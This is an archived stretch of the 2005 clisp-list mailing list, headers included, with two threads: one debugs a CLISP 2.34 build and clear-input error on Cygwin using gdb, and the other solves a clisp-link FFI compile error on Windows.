>>Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B >>. -N locale -M lispinit.mem -q -norc >>STACK depth: 16363 >>SP depth: 1073598755 >>[1]> (clear-input *query-io*) >> >>NIL >>[2]> >> >>What do you mean by "see why it fails"? >> >> > >look at the streams.erg file - (clear-input *query-io*) failed. > > As it does when I run lisp.exe and try it by hand. [stream.d:3408] *** - UNIX error 2 (ENOENT): No such file or directory When I type in just *query-io* it returns: # >why doesn't it fail under gdb? > When I type in *query-io* after boot/run in gdb, I get: # ...the same thing. So, I don't know why it fails. I can only assume that the terminal has some black magic done to it by gdb. >does it fail at the clisp prompt without gdb? > > Yes. >what is the error message? >(if you configured --with-debug, you should see file:line) > > The error is coming from stream.d:3408: begin_system_call(); #ifdef UNIX_TERM_TERMIOS if (!( TCFLUSH(handle,TCIFLUSH) ==0)) { if (!((errno==ENOTTY)||(errno==EINVAL))) { # no TTY: OK local bool flag = false; # report other Error, but only once if (!flag) { flag = true; OS_error(); } } } #endif OS_error(), I think. I don't know what "local" is, but I tried setting a breakpoint within gdb at stream.d:3408: $ gdb ./lisp.exe GNU gdb 6.3.50_2004-12-28-cvs (cygwin-special) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-cygwin"... Breakpoint 1 at 0x428a02: file eval.d, line 4937. Breakpoint 2 at 0x42637a: file eval.d, line 4020. Breakpoint 3 at 0x422c19: file eval.d, line 2882. Breakpoint 4 at 0x42a51a: file eval.d, line 5905. Breakpoint 5 at 0x40c156: file spvw_garcol.d, line 2430. Hardware watchpoint 6: back_trace Breakpoint 7 at 0x40f8ae: file spvw.d, line 657. Breakpoint 8 at 0x403d33: file spvw.d, line 479. Breakpoint 9 at 0x403ddb: file spvw.d, line 494. Breakpoint 10 at 0x4ddeca: file error.d, line 349. Breakpoint 11 at 0x4dde5c: file error.d, line 326. Num Type Disp Enb Address What 1 breakpoint keep n 0x00428a02 in funcall at eval.d:4937 xout fun 2 breakpoint keep n 0x0042637a in apply at eval.d:4020 xout fun 3 breakpoint keep n 0x00422c19 in eval at eval.d:2882 xout form 4 breakpoint keep n 0x0042a51a in interpret_bytecode_ at eval.d:5905 xout closure 5 breakpoint keep n 0x0040c156 in gar_col at spvw_garcol.d:2430 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x0040f8ae in fehler_notreached at spvw.d:657 8 breakpoint keep y 0x00403d33 in SP_ueber at spvw.d:479 9 breakpoint keep y 0x00403ddb in STACK_ueber at spvw.d:494 10 breakpoint keep y 0x004ddeca in fehler at error.d:349 11 breakpoint keep y 0x004dde5c in prepare_error at error.d:326 Function "sigsegv_handler_failed" not defined. .gdbinit:157: Error in sourced command file: No symbol "byteptr" in current context. (gdb) b stream.d:3408 Breakpoint 12 at 0x45be01: file stream.d, line 3408. (gdb) boot (gdb) run Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B . -N locale -M lispinit.mem -q -norc STACK depth: 16363 SP depth: 1073598755 [1]> (clear-input *query-io*) NIL [2]> ...as you can see, the breakpoint was not triggered. That's pretty curious to me... Jeremy From sds@gnu.org Tue Aug 16 11:34:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E56GO-0002yf-Ii for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 11:34:16 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E56GL-0004j4-2f for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 11:34:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7GIY0A6007757; Tue, 16 Aug 2005 14:34:01 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43022B49.3020800@google.com> (Jeremy Shute's message of "Tue, 16 Aug 2005 14:07:05 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 11:35:11 2005 X-Original-Date: Tue, 16 Aug 2005 14:33:12 -0400 > * Jeremy Shute [2005-08-16 14:07:05 -0400]: > > Sam Steingold wrote: > >>>* Jeremy Shute [2005-08-16 12:24:14 -0400]: >>> >>>I removed the directory and built a second time. >>> >>>configure:24884: checking for library containing dlopen >>>configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include >>>conftest.c >&5 >>>/usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld: >>>cannot open output file conftest.exe: Device or resource busy >>>collect2: ld returned 1 exit status >>>configure:24920: $? = 1 >>> >>>There are several more "Device or resource busy" errors thereafter. >>>This is probably due to the section right above it >>> >>> >> >>check task manager and kill the "conftest.exe" process. >>if nothing works, reboot. >> >> > conftest.exe isn't a running process, visible from the Task Manager, > before or after ./configure. > > I think the problem is that the shared memory test above it (as I > highlighted) is but continues to stay resident. When the dlopen family > of tests are attempted, the linker cannot write conftest.exe because the > conftest.exe program is still (somehow) running. > > If it's not running before ./configure and it's not running after > ./configure, it must be a problem during ./configure, right? > > I'd love to help you nail down this problem, all I need is a little > direction. I'm relatively unfamiliar with autoconf. How would you > have me test that my hypothesis is true? this does not appear to be a CLISP problem but a cygwin one. thus I suggest that you do some butchery on the configure script to produce a small reproducible test case (not necessarily in a form of a shell script) and send it to cygwin@cygwin.com (see http://cygwin.com/problems.html). you might want to first make sure your cygwin is up to date. > [stream.d:3408] *** - UNIX error 2 (ENOENT): No such file or directory I do not observe this error. > begin_system_call(); > #ifdef UNIX_TERM_TERMIOS > if (!( TCFLUSH(handle,TCIFLUSH) ==0)) { > if (!((errno==ENOTTY)||(errno==EINVAL))) { # no TTY: OK > local bool flag = false; > # report other Error, but only once > if (!flag) { flag = true; OS_error(); } > } > } > #endif > > OS_error(), I think. yes. > I don't know what "local" is same as "static". > $ gdb ./lisp.exe > (gdb) b stream.d:3408 > Breakpoint 12 at 0x45be01: file stream.d, line 3408. please try "br clear_tty_input" instead -- Sam Steingold (http://www.podval.org/~sds) running w2k The early worm gets caught by the bird. From shutej@google.com Tue Aug 16 11:45:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E56Qn-0003We-As for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 11:45:01 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E56Qn-0004qh-1R for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 11:45:01 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by nappa.corp.google.com with ESMTP id j7GIicUP020449 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Aug 2005 11:44:39 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACP39775 (AUTH shutej); Tue, 16 Aug 2005 11:44:38 -0700 (PDT) Message-ID: <43023415.3040502@google.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.3 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 11:46:23 2005 X-Original-Date: Tue, 16 Aug 2005 14:44:37 -0400 Sam Steingold wrote: >>* Jeremy Shute [2005-08-16 14:07:05 -0400]: >> >>Sam Steingold wrote: >> >> >> >>>>* Jeremy Shute [2005-08-16 12:24:14 -0400]: >>>> >>>>I removed the directory and built a second time. >>>> >>>>configure:24884: checking for library containing dlopen >>>>configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include >>>>conftest.c >&5 >>>>/usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld: >>>>cannot open output file conftest.exe: Device or resource busy >>>>collect2: ld returned 1 exit status >>>>configure:24920: $? = 1 >>>> >>>>There are several more "Device or resource busy" errors thereafter. >>>>This is probably due to the section right above it >>>> >>>> >>>> >>>> >>>check task manager and kill the "conftest.exe" process. >>>if nothing works, reboot. >>> >>> >>> >>> >>conftest.exe isn't a running process, visible from the Task Manager, >>before or after ./configure. >> >>I think the problem is that the shared memory test above it (as I >>highlighted) is but continues to stay resident. When the dlopen family >>of tests are attempted, the linker cannot write conftest.exe because the >>conftest.exe program is still (somehow) running. >> >>If it's not running before ./configure and it's not running after >>./configure, it must be a problem during ./configure, right? >> >>I'd love to help you nail down this problem, all I need is a little >>direction. I'm relatively unfamiliar with autoconf. How would you >>have me test that my hypothesis is true? >> >> > >this does not appear to be a CLISP problem but a cygwin one. >thus I suggest that you do some butchery on the configure script to >produce a small reproducible test case (not necessarily in a form of a >shell script) and send it to cygwin@cygwin.com (see >http://cygwin.com/problems.html). >you might want to first make sure your cygwin is up to date. > > Cygwin is thoroughly up to date. I'll attempt to reproduce this, though I have little clue how at this point. >>[stream.d:3408] *** - UNIX error 2 (ENOENT): No such file or directory >> >> > >I do not observe this error. > > Bummer. >>$ gdb ./lisp.exe >>(gdb) b stream.d:3408 >>Breakpoint 12 at 0x45be01: file stream.d, line 3408. >> >> > >please try "br clear_tty_input" instead > > I did. The breakpoint was correctly reported to be set at stream.d:34040, but not tripped from within GDB when telling Lisp to (clear-input *query-io*) I think it is likely that this has something to do with the way GDB hooks to stdin, it must not be calling the tty functions in that case. Jeremy From andrev@ele.puc-rio.br Tue Aug 16 12:16:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E56uv-0005CH-Fg for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 12:16:09 -0700 Received: from octans.ele.puc-rio.br ([139.82.23.1]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E56us-0003AU-Nc for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 12:16:09 -0700 Received: from [139.82.47.52] (tango.ica.ele.puc-rio.br [139.82.47.52]) by Octans.ele.puc-rio.br (8.12.10/8.12.10) with ESMTP id j7GJFgxH002804 for ; Tue, 16 Aug 2005 16:15:44 -0300 Message-ID: <43023B70.3090208@ele.puc-rio.br> From: =?ISO-8859-1?Q?Andr=E9_Vargas_Abs_da_Cruz?= User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by Octans.ele.puc-rio.br id j7GJFgxH002804 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp-link & win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 12:17:33 2005 X-Original-Date: Tue, 16 Aug 2005 16:16:00 -0300 Hi, I'm using clisp-2.34 on WinXP and I am trying to use the linkkit. I=20 have used the example from the CLISP FFI HOWTO=20 (http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html) but when I=20 issue the command: clisp-link add-module-set vector-module /c/clisp/base base+vector I get the following error message: In file included from vector-interface.c:1: c:/clisp/linkkit/clisp.h:483: warning: register used for two global=20 register variables vector-interface.c: In function `module__vector_interface__init_function_= 2': vector-interface.c:27: error: `dot_product' undeclared (first use in=20 this function) vector-interface.c:27: error: (Each undeclared identifier is reported=20 only once vector-interface.c:27: error: for each function it appears in.) make: *** [vector-interface.o] Error 1 Analyzing the C source code generated by CLISP for the line=20 specified by the compiler, I see that the pointer for the function=20 dot_product is really not declared in the code generated by CLISP. Why=20 this is not working ?! Am I doing something wrong ?! Cheers, Andr=E9 From sds@gnu.org Tue Aug 16 12:48:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E57QV-000725-S2 for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 12:48:47 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E57QU-0003MJ-Fx for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 12:48:48 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7GJmBWn018608; Tue, 16 Aug 2005 15:48:12 -0400 (EDT) To: clisp-list@lists.sourceforge.net, =?utf-8?Q?Andr=C3=A9?= Vargas Abs da Cruz Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43023B70.3090208@ele.puc-rio.br> (=?utf-8?Q?Andr=C3=A9?= Vargas Abs da Cruz's message of "Tue, 16 Aug 2005 16:16:00 -0300") References: <43023B70.3090208@ele.puc-rio.br> Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?Q?Andr=C3=A9?= Vargas Abs da Cruz Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-link & win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 12:49:28 2005 X-Original-Date: Tue, 16 Aug 2005 15:47:23 -0400 > * Andr=C3=A9 Vargas Abs da Cruz [2005-08-16 16:16= :00 -0300]: > > (http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html) this needs to be updated from 2.28 to 2.34. > Analyzing the C source code generated by CLISP for the line > specified by the compiler, I see that the pointer for the function > dot_product is really not declared in the code generated by > CLISP. Why this is not working ?! Am I doing something wrong ?! either (setq FFI:*OUTPUT-C-FUNCTIONS* t) or (c-lines "#include ...") --=20 Sam Steingold (http://www.podval.org/~sds) running w2k (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From sds@gnu.org Tue Aug 16 12:49:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E57R5-00073W-EK for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 12:49:23 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E57R1-0001Uh-Tk for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 12:49:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7GJn4PC018846; Tue, 16 Aug 2005 15:49:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43023415.3040502@google.com> (Jeremy Shute's message of "Tue, 16 Aug 2005 14:44:37 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 12:50:19 2005 X-Original-Date: Tue, 16 Aug 2005 15:48:16 -0400 > * Jeremy Shute [2005-08-16 14:44:37 -0400]: > >>>$ gdb ./lisp.exe >>>(gdb) b stream.d:3408 >>>Breakpoint 12 at 0x45be01: file stream.d, line 3408. >>> >>> >> >>please try "br clear_tty_input" instead >> >> > I did. The breakpoint was correctly reported to be set at > stream.d:34040, but not tripped from within GDB when telling Lisp to > (clear-input *query-io*) I think it is likely that this has something > to do with the way GDB hooks to stdin, it must not be calling the tty > functions in that case. "br C_clear_input" and step through. -- Sam Steingold (http://www.podval.org/~sds) running w2k Beauty is only a light switch away. From andrev@ele.puc-rio.br Tue Aug 16 13:15:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E57pv-0000B1-Te for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 13:15:03 -0700 Received: from octans.ele.puc-rio.br ([139.82.23.1]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E57pu-0007IC-5v for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 13:15:03 -0700 Received: from [139.82.47.52] (tango.ica.ele.puc-rio.br [139.82.47.52]) by Octans.ele.puc-rio.br (8.12.10/8.12.10) with ESMTP id j7GKEfxH004530 for ; Tue, 16 Aug 2005 17:14:44 -0300 Message-ID: <4302493D.2080800@ele.puc-rio.br> From: =?UTF-8?B?QW5kcsOpIFZhcmdhcyBBYnMgZGEgQ3J1eg==?= User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp-link & win32 References: <43023B70.3090208@ele.puc-rio.br> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by Octans.ele.puc-rio.br id j7GKEfxH004530 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 13:16:04 2005 X-Original-Date: Tue, 16 Aug 2005 17:14:53 -0300 Sam Steingold wrote: >>* Andr=C3=A9 Vargas Abs da Cruz [2005-08-16 16:= 16:00 -0300]: >> >> (http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html) >> =20 >> > >this needs to be updated from 2.28 to 2.34. > > =20 > >> Analyzing the C source code generated by CLISP for the line >> specified by the compiler, I see that the pointer for the function >> dot_product is really not declared in the code generated by >> CLISP. Why this is not working ?! Am I doing something wrong ?! >> =20 >> > > >either >(setq FFI:*OUTPUT-C-FUNCTIONS* t) >or >(c-lines "#include ...") > > =20 > Thanks !!! It compiled just fine !!! From shutej@google.com Tue Aug 16 13:22:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E57wj-0000cu-07 for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 13:22:05 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E57wh-0002Pa-Nl for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 13:22:04 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by brian.corp.google.com with ESMTP id j7GKLqYq024931 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Aug 2005 13:21:52 -0700 Received: from [172.29.42.82] (dhcp-172-29-42-82.nyc.corp.google.com [172.29.42.82]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACP46134 (AUTH shutej); Tue, 16 Aug 2005 13:21:51 -0700 (PDT) Message-ID: <43024ADE.4040602@google.com> From: Jeremy Shute User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.3 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 13:25:04 2005 X-Original-Date: Tue, 16 Aug 2005 16:21:50 -0400 Sam Steingold wrote: >>* Jeremy Shute [2005-08-16 14:44:37 -0400]: >> >> >> >>>>$ gdb ./lisp.exe >>>>(gdb) b stream.d:3408 >>>>Breakpoint 12 at 0x45be01: file stream.d, line 3408. >>>> >>>> >>>> >>>> >>>please try "br clear_tty_input" instead >>> >>> >>> >>> >>I did. The breakpoint was correctly reported to be set at >>stream.d:34040, but not tripped from within GDB when telling Lisp to >>(clear-input *query-io*) I think it is likely that this has something >>to do with the way GDB hooks to stdin, it must not be calling the tty >>functions in that case. >> >> > >"br C_clear_input" and step through. > > > I stepped through. This was what happened: http://www.crazilocks.com/typescript What would you like me to step into? What do you want me to watch? Jeremy From sds@gnu.org Tue Aug 16 14:04:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E58c1-00034f-Ds for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 14:04:45 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E58c0-0002nV-0S for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 14:04:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7GL4YnC029740; Tue, 16 Aug 2005 17:04:35 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43024ADE.4040602@google.com> (Jeremy Shute's message of "Tue, 16 Aug 2005 16:21:50 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: 